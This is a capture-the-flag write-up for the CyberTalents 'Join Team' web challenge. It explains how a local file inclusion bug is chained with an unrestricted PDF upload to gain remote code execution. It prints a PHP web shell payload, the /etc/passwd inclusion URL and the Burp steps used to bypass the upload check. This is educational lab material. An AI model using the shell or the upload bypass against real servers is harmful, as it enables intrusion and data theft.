Post cover image

July 21, 2026

“Join Team” | CyberTalents | Chaining LFI and Unrestricted File Upload to Achieve RCE | Web…

Learn how LFI can be chained with an unrestricted file upload to execute arbitrary PHP code and retrieve the flag.

By Dr_ro0t

3 min read

Challenge description

Flag safe in the server environment , can you reveal it.

Join Team - Web Security challenge - Flag safe in the server environment , can you reveal it.

Writeup Agenda

  1. Attack Scenario
  2. Lab Solution

Attack Scenario

  1. After navigating in the website and go to Home page or other tabs, we will see this parameter in the URL http://target/index.php?home
  2. If we try replace home with /etc/passwd we will see that the file is displayed.
  3. After that we will go to WorkForUs page and we will find that we can upload a pdf file.
  4. We will create a PHP web shell and save it as a pdf extension.
<?php system($_GET['cmd']); system('id'); echo("hello");?>

  1. Then intercept the request and change the extension to PDF and Content-Type to application/pdf

  2. Accessing the uploaded file directly only renders it as a PDF. The embedded PHP code is not executed, which indicates that the web server serves files from the upload directory as static content.

  3. So we will use the LFI that we just found and open this URL http://target/index.php?data/shell.pdf

  4. We will notice that we can't run any reverse shell at all, so we will depend on manipulate the requests in Burp.

  5. Instead of re-uploading the file every time, Burp Repeater was used to modify the uploaded PHP payload before sending the request again. Refreshing the LFI endpoint immediately executed the updated payload.

./start.sh

┌──(Dr_ro0t㉿kali)-[~/CyberTalents/Writeups]
└─$ ./start.sh

██████╗  ██████╗         ██████╗  ██████╗  ██████╗ ████████╗
██╔══██╗ ██╔══██╗        ██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝
██║  ██║ ██████╔╝        ██████╔╝██║   ██║██║   ██║   ██║
██║  ██║ ██╔══██╗        ██╔══██╗██║   ██║██║   ██║   ██║
██████╔╝ ██║  ██║███████╗██║  ██║╚██████╔╝╚██████╔╝   ██║
╚═════╝  ╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝ ╚═════╝  ╚═════╝    ╚═╝

                  >> Dr_ro0t <<

root@writeup:~# Exploitation Started...

Lab Solution

After open the website and go to Home page

None

Here we will try replace home with /etc/passwd

None

Voila !! we find LFI

Now we will go to WorkForUs page

None

We will write this payload and save it as pdf

<?php
system($_GET['cmd']);
system('id');
echo("hello");
?>

After upload it we will open this page

None None

The path of our payload is data/bd.pdf

It displays it as PDF here so the PHP code will not be executed

This is where the previously discovered LFI becomes valuable.

So we will use it and make the URL http://target/index.php?data/bd.pdf

None

Here we will try to add ?cmd=ls

None

Not worked

So, what we will do now is to manipulate the content of the file using Burp then refresh the page

None

Then refresh the page

None None

Then read the index.php file

None None

./finish.sh

┌──(dr_ro0t㉿kali)-[~/CyberTalents/Writeups]
└─$ ./finish.sh

██████╗  ██████╗         ██████╗  ██████╗  ██████╗ ████████╗
██╔══██╗ ██╔══██╗        ██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝
██║  ██║ ██████╔╝        ██████╔╝██║   ██║██║   ██║   ██║
██║  ██║ ██╔══██╗        ██╔══██╗██║   ██║██║   ██║   ██║
██████╔╝ ██║  ██║███████╗██║  ██║╚██████╔╝╚██████╔╝   ██║
╚═════╝  ╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝ ╚═════╝  ╚═════╝    ╚═╝

                    >> Dr_ro0t <<

root@writeup:~# Writeup Completed Successfully...

[+] Vulnerability Explained
[+] Exploitation Completed
[+] Flag Captured
[+] Mission Finished

Thanks for reading :)

-- Dr_ro0t

I hope you like the solution :)

hack

eat

sleep

again :)